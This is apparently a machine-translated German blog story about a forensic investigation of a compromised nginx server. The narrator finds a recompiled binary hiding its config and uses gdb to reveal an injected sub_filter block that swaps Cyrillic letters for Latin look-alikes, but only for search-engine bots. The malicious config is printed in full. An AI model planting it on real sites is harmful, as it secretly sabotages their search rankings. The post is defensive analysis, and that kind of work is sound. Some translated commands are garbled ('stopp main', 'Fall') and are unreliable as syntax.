Eine Ă€uĂerst unangenehme Geschichte ist einem meiner Bekannten widerfahren. So unangenehm sie fĂŒr Michail war, so unterhaltsam war sie fĂŒr mich.
Ich muss sagen, dass mein Freund durchaus UNIX-Benutzer: kann das System selbst installieren, es einrichten mysql, php und die einfachsten Einstellungen vornehmen nginx.
Und er hat ein gutes Dutzend Webseiten, die sich mit Baumaschinen beschÀftigen.
Eine dieser Webseiten, die sich mit KettensÀgen befasst, hat es fest in die TOP-Rankings der Suchmaschinen geschafft. Diese Seite ist ein nicht gewerblicher Ratgeber, aber jemand hat ihm den Hals umgedreht und fÀngt an, sie anzugreifen. Mal DDoS, mal Brute-Force, mal werden unanstÀndige Kommentare geschrieben und Abmahnungen an das Hosting und die RKN geschickt.
Plötzlich verstummte alles, und diese Ruhe war kein gutes Zeichen, denn die Webseite begann allmÀhlich, die oberen PlÀtze in den Ergebnissen zu verlassen.

Das war die Vorgeschichte, jetzt kommt die eigentliche Admin-Geschichte.
Die Zeit nĂ€herte sich dem Schlaf, als das Telefon klingelte: âSanya, wĂŒrdest du dir meinen Server anschauen? Ich glaube, ich wurde gehackt, ich kann es nicht beweisen, aber dieses GefĂŒhl lĂ€sst mich schon seit drei Wochen nicht los. Vielleicht sollte ich einfach gegen meine Paranoia behandelt werden?â
Es folgte eine halbe Stunde Diskussion, die kurz so zusammengefasst werden kann:
- Der Boden fĂŒr den Hack war durchaus fruchtbar;
- der Hacker hÀtte Superuser-Rechte erlangen können;
- der Angriff (falls es ihn gab) war gezielt und direkt auf diese Seite;
- die problematischen Stellen sind behoben, und es gilt nur noch herauszufinden, ob ein Eindringen stattgefunden hat;
- der Hack konnte den Code der Webseite und die Datenbanken nicht betreffen.
Zum letzten Punkt.

In die Welt schaut nur die weiĂe IP des Frontends. Zwischen den Backends und dem Frontend gibt es keinen Austausch auĂer http(s), die Benutzer/Passwörter sind unterschiedlich, es gab keinen SchlĂŒssel-Austausch. An den grauen Adressen sind alle Ports auĂer 80/443 geschlossen. Die weiĂen IPs der Backends sind nur zwei Benutzern bekannt, denen Michail voll und ganz vertraut.
Auf dem Frontend ist installiert Debian 9 und zum Zeitpunkt des Anrufs war das System durch eine externe Firewall vom Rest der Welt isoliert und gestoppt.
âOk, gib mir die ZugĂ€nge â ich beschlieĂe, den Schlaf um eine Stunde zu verschieben. â Ich werde mit meinen eigenen Augen nachsehen.â
Hier und im Folgenden:
$ grep -F PRETTY_NAME /etc/*releas*
PRETTY_NAME="Debian GNU/Linux 9 (stretch)"
$ `echo $SHELL` --version
GNU bash, version 4.4.12(1)-release (x86_64-pc-linux-gnu)
$ nginx -v
nginx version: nginx/1.10.3
$ gdb --version
GNU gdb (Debian 8.2.1-2) 8.2.1
In der Suche nach einem möglichen Hack
starte ich den Server, zunĂ€chst im Rescue-Modus.Ich mounte die Festplatten, blĂ€ttere durch auth-Logs, history, systemprotokolle usw., soweit möglich prĂŒfe ich die Erstellungsdaten der Dateien, obwohl ich verstehe, dass ein normaler Hacker "alles weggefegt" hĂ€tte, und Misha bereits ordentlich "getreten" hat, wĂ€hrend er selbst gesucht hat.
Ich starte im normalen Modus, ohne genau zu wissen, wonach ich suchen soll, und studiere die Konfigurationen. Zuerst interessiere ich mich nginx da es im Grunde an der Front-End-Seite auĂer ihm nichts gibt.
Die Konfigurationen sind klein, gut strukturiert in einem Dutzend Dateien, ich schaue sie mir einfach an catânacheinander an. Es scheint alles sauber zu sein, aber wer weiĂ, vielleicht habe ich etwas ĂŒbersehen, includeich mache lieber ein vollstĂ€ndiges Listing:
$ nginx -T
nginx: die Konfigurationsdatei /usr/local/etc/nginx/nginx.conf Syntax ist ok
nginx: Konfigurationsdatei /usr/local/etc/nginx/nginx.conf Test war erfolgreich
Ich habe nicht verstanden: âWo ist das Listing?â
$ nginx -V
nginx-Version: nginx/1.10.3
TLS SNI UnterstĂŒtzung aktiviert
Konfigurationsargumente: --with-cc-opt='-g -O2' --with-ld-opt='-Wl,-z,relro -Wl,-z,now' --prefix=/usr/share/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/nginx.lock --pid-path=/run/nginx.pid --modules-path=/usr/lib/nginx/modules --http-client-body-temp-path=/var/lib/nginx/body --http-fastcgi-temp-path=/var/lib/nginx/fastcgi --http-proxy-temp-path=/var/lib/nginx/proxy --http-scgi-temp-path=/var/lib/nginx/scgi --http-uwsgi-temp-path=/var/lib/nginx/uwsgi --with-debug --with-pcre-jit --with-ipv6 --with-http_ssl_module --with-http_stub_status_module --with-http_realip_module --with-http_auth_request_module --with-http_v2_module --with-http_dav_module --with-http_slice_module --with-threads --with-http_addition_module --with-http_gunzip_module --with-http_gzip_static_module --with-http_sub_module --with-stream=dynamic --with-stream_ssl_module --with-mail=dynamic --with-mail_ssl_module
Zur Frage des Listings kommt noch eine andere hinzu: âWarum ist diese so alte Version von nginx?â
AuĂerdem glaubt das System, dass die Version neuer installiert ist:
$ dpkg -l nginx | grep "[n]ginx"
ii nginx 1.14.2-2+deb10u1 all kleiner, leistungsstarker, skalierbarer Web-/Proxy-Server
Ich rufe an:
â Misha, warum hast du neu kompiliert nginx?
â Beruhige dich, ich weiĂ nicht einmal, wie das geht!
â Okay, dann schlafâŠ
Nginx definitiv neu kompiliert und die Ausgabe des Listings mit â-Tâ ist nicht ohne Grund verborgen. Es gibt keinen Zweifel mehr am Hack und man kann das einfach akzeptieren und (da Misha sowieso den Server gegen einen neuen ersetzt hat) das Problem als gelöst betrachten.
Und tatsĂ€chlich, da jemand die Rechte erhalten hat rootâa, macht es Sinn, nur system reinstall, und es ist sinnlos zu suchen, was dort schiefgegangen ist, aber dieses Mal hat die Neugier den Schlaf besiegt. Wie erfĂ€hrt man, was man vor uns verbergen wollte?
Versuchen wir es nachzuvollziehen:
$ strace nginx -T
Wir sehen, dass in der Nachverfolgung offensichtlich Zeilen fehlen wie
write(1, "/etc/nginx/nginx.conf", 21/ etc/nginx/nginx.conf) = 21
write(1, "...
write(1, "n", 1
Aus Interesse vergleichen wir die Ausgaben
$ strace nginx -T 2>&1 | wc -l
264
$ strace nginx -t 2>&1 | wc -l
264
Ich denke, dass ein Teil des Codes /src/core/nginx.c
Fall 't':
ngx_test_config = 1;
break;
Fall 'T':
ngx_test_config = 1;
ngx_dump_config = 1;
break;
wurde umgewandelt in:
Fall 't':
ngx_test_config = 1;
break;
Fall 'T':
ngx_test_config = 1;
//ngx_dump_config = 1;
break;
oder
Fall 't':
ngx_test_config = 1;
break;
Fall 'T':
ngx_test_config = 1;
ngx_dump_config = 0;
break;
deshalb wird das Listing fĂŒr â-Tâ nicht angezeigt.
Aber wie schauen wir uns unsere Konfiguration an?
Wenn ich recht habe, liegt das Problem nur an der Variablen ngx_dump_config versuchen wir, sie mit gdb, zum GlĂŒck ist der SchlĂŒssel --with-cc-opt -g vorhanden, und wir hoffen, dass die Optimierung -O2 uns nicht im Weg steht. Da ich nicht weiĂ, wie ngx_dump_config es in Fall âTâ:, werden wir diesen Block nicht aufrufen, sondern sie mit Fall âtâ:
Warum kann 't' gleichwertig mit 'T' verwendet werden?Verarbeitung des Blocks if(ngx_dump_config) geschieht innerhalb von if(ngx_test_config):
if (ngx_test_config) {
if (!ngx_quiet_mode) {
ngx_log_stderr(0, "Konfigurationsdatei %s Test war erfolgreich",
cycle->conf_file.data);
}
if (ngx_dump_config) {
cd = cycle->config_dump.elts;
fĂŒr (i = 0; i config_dump.nelts; i++) {
ngx_write_stdout("# Konfigurationsdatei ");
(void) ngx_write_fd(ngx_stdout, cd[i].name.data,
cd[i].name.len);
ngx_write_stdout(":" NGX_LINEFEED);
b = cd[i].buffer;
(void) ngx_write_fd(ngx_stdout, b->pos, b->last - b->pos);
ngx_write_stdout(NGX_LINEFEED);
}
}
return 0;
}
NatĂŒrlich, wenn der Code in diesem Teil geĂ€ndert wurde und nicht in Fall âTâ:, dann ist meine Methode nicht geeignet.
Test nginx.confNachdem das Problem experimentell gelöst wurde, wurde festgestellt, dass eine minimale Konfiguration erforderlich ist, um den SchÀdling zum Laufen zu bringen nginx in der Form:
events {
}
http {
include /etc/nginx/sites-enabled/*;
}
Diese werden wir der KĂŒrze halber im Artikel verwenden.
Wir starten den Debugger
$ gdb --silent --args nginx -t
Lese Symbole von nginx... erledigt.
(gdb) stopp main
Haltepunkt 1 bei 0x1f390: Datei src/core/nginx.c, Zeile 188.
(gdb) ausfĂŒhren
Programm starten: nginx -t
[Thread-Debugging unter Verwendung von libthread_db aktiviert]
Verwende Host-Bibliothek libthread_db "lib/x86_64-linux-gnu/libthread_db.so.1".
Haltepunkt 1, main (argc=2, argv=0x7fffffffebc8) bei src/core/nginx.c:188
188 src/core/nginx.c: Datei oder Verzeichnis nicht gefunden.
(gdb) drucken ngx_dump_config=1
$1 = 1
(gdb) fortfahren
Fortfahren.
nginx: die Konfigurationsdatei /etc/nginx/nginx.conf Syntax ist in Ordnung
nginx: Konfigurationsdatei /etc/nginx/nginx.conf Test war erfolgreich
# Konfigurationsdatei /etc/nginx/nginx.conf:
events {
}
http {
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once aus;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;
include /etc/nginx/sites-enabled/*;
}
# Konfigurationsdatei /etc/nginx/sites-enabled/default:
[Unterprozess 1 (Prozess 32581) normal beendet]
(gdb) beenden
Schritt fĂŒr Schritt:
- setzen wir einen Haltepunkt in der Funktion main()
- starten das Programm
- Àndern den Wert der Variablen, die die Konfiguration ausgibt ngx_dump_config=1
- fahren wir fort/beenden das Programm
Wie wir sehen, unterscheidet sich die tatsÀchliche Konfiguration von unserer, wir extrahieren einen störenden Teil davon:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
sub_filter_once aus;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;
Lassen Sie uns der Reihe nach betrachten, was hier passiert.
Es werden definiert User-AgentâŃ yandex/google:
map $http_user_agent $sign_user_agent
{
"~*yandex.com/bots" 1;
"~*www.google.com/bot.html" 1;
default 0;
}
Es werden Dienstseiten ausgeschlossen WordPress:
map $uri $sign_uri
{
"~*/wp-" 1;
default 0;
}
Und fĂŒr diejenigen, die beide der oben genannten Bedingungen erfĂŒllen,
map ĐŸ:$sign_user_agent:$sign_uri $sign_o
{
ĐŸ:1:0 o;
default ĐŸ;
}
map а:$sign_user_agent:$sign_uri $sign_a
{
а:1:0 a;
default а;
}
im Text html-Seiten wird geĂ€ndert âĐŸâ auf âoâ und âаâ auf âaâ:
sub_filter_once aus;
sub_filter 'ĐŸ' $sign_o;
sub_filter 'а' $sign_a;
Genau so, die Feinheit liegt nur darin, dass âаâ != âaâ genauso wie âĐŸâ != âoâ:

Auf diese Weise erhalten Suchmaschinenbots anstelle von normalem 100%-kyrillischem Text modifizierten Schrott, der mit lateinischen Zeichen vermischt ist âaâ und âoâ. Ich wage nicht zu spekulieren, wie sich das auf SEO auswirkt, aber ich bezweifle, dass eine solche Buchstabensuppe sich positiv auf die Rankings auswirken wird.
Was soll man sagen, die Jungs haben Fantasie.
Links
Quelle: habr.com
